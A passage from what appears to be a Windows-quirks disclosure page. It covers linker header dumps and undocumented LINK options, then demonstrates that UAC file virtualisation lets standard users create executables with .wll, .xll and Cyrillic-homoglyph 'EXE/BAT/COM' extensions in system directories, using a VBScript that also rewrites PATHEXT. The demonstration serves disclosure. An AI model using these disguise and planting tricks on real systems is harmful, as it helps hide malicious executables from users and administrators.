                   0 [       0] RVA [size] of Certificates Directory
                5000 [      14] RVA [size] of Base Relocation Directory
                   0 [       0] RVA [size] of Debug Directory
                   0 [       0] RVA [size] of Architecture Directory
                   0 [       0] RVA [size] of Global Pointer Directory
                   0 [       0] RVA [size] of Thread Storage Directory
                   0 [       0] RVA [size] of Load Configuration Directory
                   0 [       0] RVA [size] of Bound Import Directory
                   0 [       0] RVA [size] of Import Address Table Directory
                   0 [       0] RVA [size] of Delay Import Directory
                   0 [       0] RVA [size] of COM Descriptor Directory
                   0 [       0] RVA [size] of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
          20 virtual size
        1000 virtual address (00401000 to 0040101F)
         200 size of raw data
         400 file pointer to raw data (00000400 to 000005FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             Execute Read
    
    SECTION HEADER #2
      .quirk name
           4 virtual size
        2000 virtual address (00402000 to 00402003)
           0 size of raw data
           0 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000080 flags
             Uninitialized Data
             Read Write
    
    SECTION HEADER #3
      .rdata name
           4 virtual size
        3000 virtual address (00403000 to 00403003)
         200 size of raw data
         600 file pointer to raw data (00000600 to 000007FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             Read Only
    
    SECTION HEADER #4
       .data name
           4 virtual size
        4000 virtual address (00404000 to 00404003)
         200 size of raw data
         800 file pointer to raw data (00000800 to 000009FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             Read Write
    
    SECTION HEADER #5
      .reloc name
          32 virtual size
        5000 virtual address (00405000 to 00405031)
         200 size of raw data
         A00 file pointer to raw data (00000A00 to 00000BFF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             Read Only
    
      Summary
    
            1000 .data
            1000 .quirk
            1000 .rdata
            1000 .reloc
            1000 .text
    
    Microsoft (R) COFF/PE Editor Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    quirk47.exe : warning LNK4039: section '.xcept' specified with /SECTION option does not exist
    quirk47.exe : warning LNK4039: section '.static' specified with /SECTION option does not exist
    Oops: the linker places the (writable) .bss alias .quirk section not last, i.e. not after the also writable .data section, but between the read-only .text and .rdata sections!

    OOPS: the linker prints bogus informational messages and even warnings LNK4253 for sections which exist neither in its input files nor the output file!

  5. Link the object file quirk47.obj created in step 1. a third time to generate the executable image file quirk47.exe, again merging the .bss section into the .quirk section, now using the undocumented /LAST linker option, then enumerate its headers:

    LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /LAST:.quirk /MERGE:.bss=.quirk /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST quirk47.obj
    LINK.EXE /DUMP /HEADERS quirk47.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.bss' (C0000080) merged into '.quirk' (C0000080)
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk47.exe
    
    PE signature found
    
    File Type: EXECUTABLE IMAGE
    
    FILE HEADER VALUES
                 14C machine (x86)
                   5 number of sections
            FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
                   0 file pointer to symbol table
                   0 number of symbols
                  E0 size of optional header
                 102 characteristics
                       Executable
                       32 bit word machine
    
    OPTIONAL HEADER VALUES
                 10B magic # (PE32)
               10.00 linker version
                 200 size of code
                 600 size of initialized data
                 200 size of uninitialized data
                1000 entry point (00401000)
                1000 base of code
                2000 base of data
              400000 image base (00400000 to 00405FFF)
                1000 section alignment
                 200 file alignment
                5.01 operating system version
                0.00 image version
                5.01 subsystem version
                   0 Win32 version
                6000 size of image
                 400 size of headers
                   0 checksum
                   3 subsystem (Windows CUI)
                8540 DLL characteristics
                       Dynamic base
                       NX compatible
                       No structured exception handler
                       Terminal Server Aware
              100000 size of stack reserve
                1000 size of stack commit
              100000 size of heap reserve
                1000 size of heap commit
                   0 loader flags
                  10 number of directories
                   0 [       0] RVA [size] of Export Directory
                   0 [       0] RVA [size] of Import Directory
                   0 [       0] RVA [size] of Resource Directory
                   0 [       0] RVA [size] of Exception Directory
                   0 [       0] RVA [size] of Certificates Directory
                5000 [      14] RVA [size] of Base Relocation Directory
                   0 [       0] RVA [size] of Debug Directory
                   0 [       0] RVA [size] of Architecture Directory
                   0 [       0] RVA [size] of Global Pointer Directory
                   0 [       0] RVA [size] of Thread Storage Directory
                   0 [       0] RVA [size] of Load Configuration Directory
                   0 [       0] RVA [size] of Bound Import Directory
                   0 [       0] RVA [size] of Import Address Table Directory
                   0 [       0] RVA [size] of Delay Import Directory
                   0 [       0] RVA [size] of COM Descriptor Directory
                   0 [       0] RVA [size] of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
          20 virtual size
        1000 virtual address (00401000 to 0040101F)
         200 size of raw data
         400 file pointer to raw data (00000400 to 000005FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             Execute Read
    
    SECTION HEADER #2
      .rdata name
           4 virtual size
        2000 virtual address (00402000 to 00402003)
         200 size of raw data
         600 file pointer to raw data (00000600 to 000007FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             Read Only
    
    SECTION HEADER #3
       .data name
           4 virtual size
        3000 virtual address (00403000 to 00403003)
         200 size of raw data
         800 file pointer to raw data (00000800 to 000009FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             Read Write
    
    SECTION HEADER #4
      .quirk name
           4 virtual size
        4000 virtual address (00404000 to 00404003)
           0 size of raw data
           0 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000080 flags
             Uninitialized Data
             Read Write
    
    SECTION HEADER #5
      .reloc name
          32 virtual size
        5000 virtual address (00405000 to 00405031)
         200 size of raw data
         A00 file pointer to raw data (00000A00 to 00000BFF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             Read Only
    
      Summary
    
            1000 .data
            1000 .quirk
            1000 .rdata
            1000 .reloc
            1000 .text
    Note: the undocumented /LAST:‹section› linker option places the specified section last, i.e. after the .text, .rdata and .data sections.

Quirk № 48

Demonstration

Perform the following 4 simple steps to show the (mis)behaviour.
  1. Create the text file quirk48.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    VOID	mainCRTStartup(VOID)
    {
    	ExitProcess('VOID');
    }
  2. Compile the source file quirk48.c created in step 1. to generate the object file quirk48.obj, then enumerate the names and sizes of its sections:

    CL.EXE /c /Gz /W4 /Zl quirk48.c
    LINK.EXE /DUMP quirk48.obj
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk48.c
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk48.obj
    
    File Type: COFF OBJECT
    
      Summary
    
              74 .debug$S
               3 .drectve
              10 .text
  3. LINK.EXE /LINK /DEFAULTLIB:kernel32.lib /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /SUBSYSTEM:CONSOLE /TEST quirk48.obj
    LINK.EXE /DUMP /IMPORTS quirk48.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : warning LNK4216: Exported entry point _mainCRTStartup@0
       Creating library quirk48.lib and object quirk48.exp
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk48.exe
    
    File Type: EXECUTABLE IMAGE
    
      Section contains the following imports:
    
        KERNEL32.dll
                    402000 Import Address Table
                    402030 Import Name Table
                         0 time date stamp
                         0 Index of first forwarder reference
    
                      119 ExitProcess
    
      Summary
    
            1000 .rdata
            1000 .reloc
            1000 .text
    Oops: the linker fails to print messages indicating that the .edata and .idata sections it generates itself are both merged into the .rdata section!
  4. LINK.EXE /LINK /DEFAULTLIB:kernel32.lib /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NOOPTIDATA /SUBSYSTEM:CONSOLE /TEST quirk48.obj
    LINK.EXE /DUMP /IMPORTS quirk48.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : warning LNK4216: Exported entry point _mainCRTStartup@0
       Creating library quirk48.lib and object quirk48.exp
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk48.exe
    
    File Type: EXECUTABLE IMAGE
    
      Section contains the following imports:
    
        KERNEL32.dll
                    403030 Import Address Table
                    403028 Import Name Table
                         0 time date stamp
                         0 Index of first forwarder reference
    
                      119 ExitProcess
    
      Summary
    
            1000 .idata
            1000 .rdata
            1000 .reloc
            1000 .text
    Note: with the undocumented /NOOPTIDATA linker option the .idata section is not merged into the .rdata section!

    Note: there exists but no corresponding /NOOPTEDATA linker option to disable merging of the .edata section into the .rdata section; use the /MERGE:.edata=.export linker option to generate a separate .export section for the Export Directory instead.

Quirk № 49

The MSDN article New UAC Technologies for Windows Vista documents the File Virtualisation introduced as part of UAC as follows, but fails to mention limitations or restrictions:
Virtualization is only enabled for: […]

File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.

When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.

In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.
In his TechNet article Inside Windows Vista User Account Control, Mark Russinovich repeats these wrong statements!

Note: CreateProcess*() and LoadLibrary*(), the Win32 functions which load executables, don’t care for extensions; it’s only the content of the file (really: the NTFS File Stream) that matters to them!

Demonstration (Variant 1)

On Windows Vista and Windows 7, the Microsoft ® Console Based Script Host CScript.exe and the Microsoft ® Windows Based Script Host WScript.exe are shipped without (embedded) Application Manifest, their 32-bit executables are therefore subject to file and registry virtualisation.

Perform the following 4 (plus 3) simple steps to show that virtual files with extensions (not just) visually equal to dangerous ones can be created and executed.

  1. Create the text file quirk49.vbs with the following content in an arbitrary, preferable empty directory:

    Rem Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("Scripting.FileSystemObject")
    	Const fsoWindowsFolder   = 0
    	Const fsoSystemFolder    = 1
    	Const fsoTemporaryFolder = 2
    
    	Const fsoRead   = 1
    	Const fsoWrite  = 2
    	Const fsoAppend = 8
    
    	Const fsoASCII   = 0
    	Const fsoUnicode = -1
    	Const fsoDefault = -2
    
    	' Greek homoglyphs
    '	Const A = &h391
    '	Const B = &h392
    '	Const E = &h395
    '	Const H = &h397
    '	Const I = &h399
    '			' j = &h3F3
    '	Const K = &h39A
    '	Const M = &h39C
    '	Const N = &h39D
    '	Const O = &h39F	' o = &h3BF
    '	Const P = &h3A1
    '	Const T = &h3A4
    '			' v = &h3BD
    '	Const X = &h3A7
    '	Const Y = &h3A5
    '	Const Z = &h396
    
    	' Cyrillic homoglyphs
    	Const A = &h410	' a = &h430
    	Const B = &h412
    	Const C = &h421	' c = &h441
    	Const E = &h415	' e = &h435
    	Const H = &h41D
    	Const I = &h406	' i = &h456
    	Const J = &h408	' j = &h458
    	Const M = &h41C
    	Const O = &h41E	' o = &h43E
    	Const P = &h420	' p = &h440
    	Const S = &h405	' s = &h455
    	Const T = &h422
    			' y = &h443
    	Const X = &h425	' x = &h445
    
    	strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
    	WScript.CreateObject("Shell.Application").Explore strFolder
    
    	For Each strExtension In Array("EFI", "EML", "HTM", "ISO", "TTF", "WLL", "XLL", "XML")
    		.CopyFile WScript.ScriptFullName, .BuildPath(strFolder, "QUIRK20." & strExtension), vbTrue
    	Next
    
    	strUnicode = .BuildPath(strFolder, "QUIRK20.TXT")
    	.OpenTextFile(strUnicode, fsoWrite, vbTrue, fsoUnicode).WriteLine "Windows Registry Editor Version 5.00"
    
    	strPathExt = WScript.CreateObject("WScript.Shell").Environment("PROCESS").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("SYSTEM").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("USER").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Volatile Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("VOLATILE").Item("PATHEXT")
    
    	blnFlag = vbFalse
    	For Each strExtension In Array("ACM", ChrW(A) & ChrW(C) & ChrW(M), _
    	                               "ASA", ChrW(A) & ChrW(S) & ChrW(A), _
    	                               "ASP", ChrW(A) & ChrW(S) & ChrW(P), _
    	                               "AX",  ChrW(A) & ChrW(X), _
    	                               "BAT", ChrW(B) & ChrW(A) & ChrW(T), _
    	                               "CHM", ChrW(C) & ChrW(H) & ChrW(M), _
    	                               "COM", ChrW(C) & ChrW(O) & ChrW(M), _
    	                               "EXE", ChrW(E) & ChrW(X) & ChrW(E), _
    	                               "HTA", ChrW(H) & ChrW(T) & ChrW(A), _
    	                               "IME", ChrW(I) & ChrW(M) & ChrW(E), _
    	                               "ISP", ChrW(I) & ChrW(S) & ChrW(P), _
    	                               "ITS", ChrW(I) & ChrW(T) & ChrW(S), _
    	                               "JS",  ChrW(J) & ChrW(S), _
    	                               "JSE", ChrW(J) & ChrW(S) & ChrW(E), _
    	                               "MSC", ChrW(M) & ChrW(S) & ChrW(C), _
    	                               "MSI", ChrW(M) & ChrW(S) & ChrW(I), _
    	                               "MSP", ChrW(M) & ChrW(S) & ChrW(P), _
    	                               "MST", ChrW(M) & ChrW(S) & ChrW(T), _
    	                               "OCX", ChrW(O) & ChrW(C) & ChrW(X), _
    	                               "SCT", ChrW(S) & ChrW(C) & ChrW(T), _
    	                               "SHB", ChrW(S) & ChrW(H) & ChrW(B), _
    	                               "SHS", ChrW(S) & ChrW(H) & ChrW(S), _
    	                               "TSP", ChrW(T) & ChrW(S) & ChrW(P))
    		blnFlag = Not blnFlag
    		If blnFlag Then
    			On Error Resume Next
    			strAssoc = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\")
    			If Err.Number <> 0 Then strAssoc = vbNullString
    			strMIME = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\Content Type")
    			If Err.Number <> 0 Then strMIME = vbNullString
    			On Error Goto 0
    		Else
    			.CopyFile WScript.FullName, .BuildPath(strFolder, "QUIRK20." & strExtension), vbTrue
    
    		' BUG: .RegWrite converts UTF-16LE to ANSI and creates the subkeys ".??" and ".???"!
    		'	WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\", strAssoc, "REG_SZ"
    		'	WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\Content Type", strMIME, "REG_SZ"
    
    			With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
    				.WriteLine
    				.WriteLine "[HKEY_CURRENT_USER\Software\Classes\." & strExtension & "]"
    				.WriteLine "@=""" & strAssoc & """"
    				.WriteLine """Content Type""=""" & strMIME & """"
    			End With
    
    			strPathExt = "." & strExtension & ";" & strPathExt
    		End If
    	Next
    
    	With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
    		.WriteLine
    		.WriteLine "[HKEY_CURRENT_USER\Volatile Environment]"
    		.WriteLine """PATHEXT""=""" & strPathExt & """"
    	End With
    
    	With WScript.CreateObject("WScript.Shell")
    		.Environment("PROCESS").Item("__COMPAT_LAYER") = "RunAsInvoker"
    		.Run """%SystemRoot%\RegEdit.exe"" /S """ & strUnicode & """", 10, vbTrue
    		.Environment("VOLATILE").Item("PATHEXT") = strPathExt
    	End With
    End With
  2. Execute the VBScript quirk49.vbs created in step 1. with the 32-bit CScript.exe or the 32-bit WScript.exe:

    "%SystemRoot%\SysWoW64\CScript.exe" quirk49.vbs
    Note: on 32-bit editions of Windows Vista and Windows 7, the VBScript quirk49.vbs can be executed per double-click.

    OUCH: contrary to the statements cited above, executable files with the extensions .WLL, used by Microsoft Word for executable add-ins, and .XLL, used by Microsoft Excel for executable add-ins, can be created!

    The VBScript quirk49.vbs launches the Windows Explorer to open the Windows directory %SystemRoot%\.

  3. Click the button Compatibility Files shown on the Explorer Toolbar to view the virtualised files QUIRK20.* created in the Windows directory %SystemRoot%\.

  4. Start (one of) the dangerous virtualised executables QUIRK20.ВАТ, QUIRK20.СОМ and QUIRK20.ЕХЕ, which are copies of the script host executable used to run the VBScript QUIRK20.VBS, per double-click to verify their proper function.

  5. Open the UTF-16LE encoded text file QUIRK20.TXT, created in step 2. by the VBScript quirk49.vbs, per double-click with NotePad.exe, delete all lines starting with @=, replace in the last line the string ".АСМ;…;.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" containing the dangerous extensions (including the enclosing double quotes ") after the equals sign = by a minus sign - and insert a minus sign - before all strings HKEY_CURRENT_USER\Software\Classes\., then save the modified Registry Editor Script and exit the text editor.

  6. Apply the file QUIRK20.TXT modified in step 5. to the Registry:

    REG.EXE IMPORT "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK20.TXT"
    The operation completed successfully.
  7. Finally delete the virtualised files QUIRK20.* and, if empty, the virtualised Windows directory %LOCALAPPDATA%\VirtualStore\Windows\ too, using either Windows Explorer or the Command Processor:

    ERASE "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK20.*"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows"

Demonstration (Variant 2)

Perform the following 14 (plus 1) simple steps to prove the statements cited above wrong and show the strange (mis)behaviour as well as some bugs of the File Virtualisation.
  1. Copy the 32-bit executable Cmd.exe of the Command Processor as quirk49.com into an arbitrary, preferable empty directory:

    COPY "%SystemRoot%\System32\Cmd.exe" quirk49.com
    COPY /Y "%SystemRoot%\SysWoW64\Cmd.exe" quirk49.com
    Note: the command lines can be copied and pasted as block into a Command Processor window!
            1 file(s) copied.
            1 file(s) copied.
  2. On Windows 10 and Windows 11, copy the language-specific resource files Cmd.exe.mui too:

    FOR /D %? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @(
    IF EXIST "%?\Cmd.exe.mui" IF NOT EXIST "%~n?" (
    MKDIR "%~n?" && COPY "%?\Cmd.exe.mui" "%~n?\quirk49.com.mui") ELSE (
    COPY /Y "%?\Cmd.exe.mui" "%~n?\quirk49.com.mui"))
            1 file(s) copied.
            1 file(s) copied.
  3. Create the text file quirk49.xml with the following content next to the executable quirk49.com copied in step 1.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2009-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
  4. Replace the application manifest embedded in the executable quirk49.com copied in step 1. with the one created in step 3.:

    MT.EXE /CANONICALIZE /MANIFEST quirk49.xml /OUTPUTRESOURCE:quirk49.com
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  5. Start the executable quirk49.com, modified in step 4. to be subject to File Virtualisation, and verify that the virtual store is (initially) empty:

    .\quirk49.com
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation. All rights reserved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
  6. Create the subdirectory Quirk49 in Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    MKDIR "%SystemRoot%\System32\Quirk49"
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   9 Dir(s)    9,876,543,210 bytes free
    Oops: the subdirectory Quirk49 appears in %SystemRoot%\SysWoW64\ too!
  7. Create some (empty) files with the dangerous extensions from the environment variable PATHEXT in Windows’ system directory %SystemRoot%\System32\:

    SET PATHEXT
    FOR %? IN (%PATHEXT%) DO @COPY NUL: "%SystemRoot%\System32\Quirk49%?"
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Note: as documented and expected, creation of files with dangerous extensions fails with the appropriate error message Access denied.
  8. Copy the executable quirk49.com with other, harmless as well as dangerous extensions into Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    SET QUIRK20=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll
    FOR %? IN (%QUIRK20%) DO @COPY Quirk49.com "%SystemRoot%\System32\Quirk49%?"
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Access denied
            0 file(s) copied.
            1 file(s) copied.
            1 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.efi
    04/27/2020  08:15 PM           302,080 Quirk49.htm
    04/27/2020  08:15 PM           302,080 Quirk49.iso
    04/27/2020  08:15 PM           302,080 Quirk49.ttf
    04/27/2020  08:15 PM           302,080 Quirk49.wll
    04/27/2020  08:15 PM           302,080 Quirk49.xll
                   6 File(s)      1,812,480 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.efi
    04/27/2020  08:15 PM           302,080 Quirk49.htm
    04/27/2020  08:15 PM           302,080 Quirk49.iso
    04/27/2020  08:15 PM           302,080 Quirk49.ttf
    04/27/2020  08:15 PM           302,080 Quirk49.wll
    04/27/2020  08:15 PM           302,080 Quirk49.xll
                   6 File(s)      1,812,480 bytes
    
         Total Files Listed:
                  12 File(s)      3,624,960 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    OUCH: contrary to the statements cited above, executable files with the extensions .wll, used by Microsoft Word for executable add-ins, and .xll, used by Microsoft Excel for executable add-ins, can be created!

    Oops: all files created in the system directory %SystemRoot%\System32\ appear in %SystemRoot%\SysWoW64\ too!

  9. Move the files created in step 8. from the system directory %SystemRoot%\System32\ into the current (working) directory, then list the resulting contents of the system directory and the virtual store:

    MOVE "%SystemRoot%\System32\Quirk49.*" .
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    C:\Windows\system32\Quirk49.efi
    C:\Windows\system32\Quirk49.htm
    C:\Windows\system32\Quirk49.iso
    C:\Windows\system32\Quirk49.ttf
    C:\Windows\system32\Quirk49.wll
    C:\Windows\system32\Quirk49.xll
            6 File(s) moved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Quirk49
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   9 Dir(s)    9,876,543,210 bytes free
  10. Create hardlinks of the executable quirk49.com with all dangerous and harmless extensions used in the steps 7. and 8. in Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    COPY Quirk49.com "%LOCALAPPDATA%\Temp"
    FOR %? IN (%PATHEXT% %QUIRK20%) DO @MKLINK /H "%SystemRoot%\System32\Quirk49%?" "%LOCALAPPDATA%\Temp\Quirk49.com"
    ERASE "%LOCALAPPDATA%\Temp\Quirk49.com"
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Hardlink created for C:\Windows\System32\Quirk49.COM <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.EXE <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
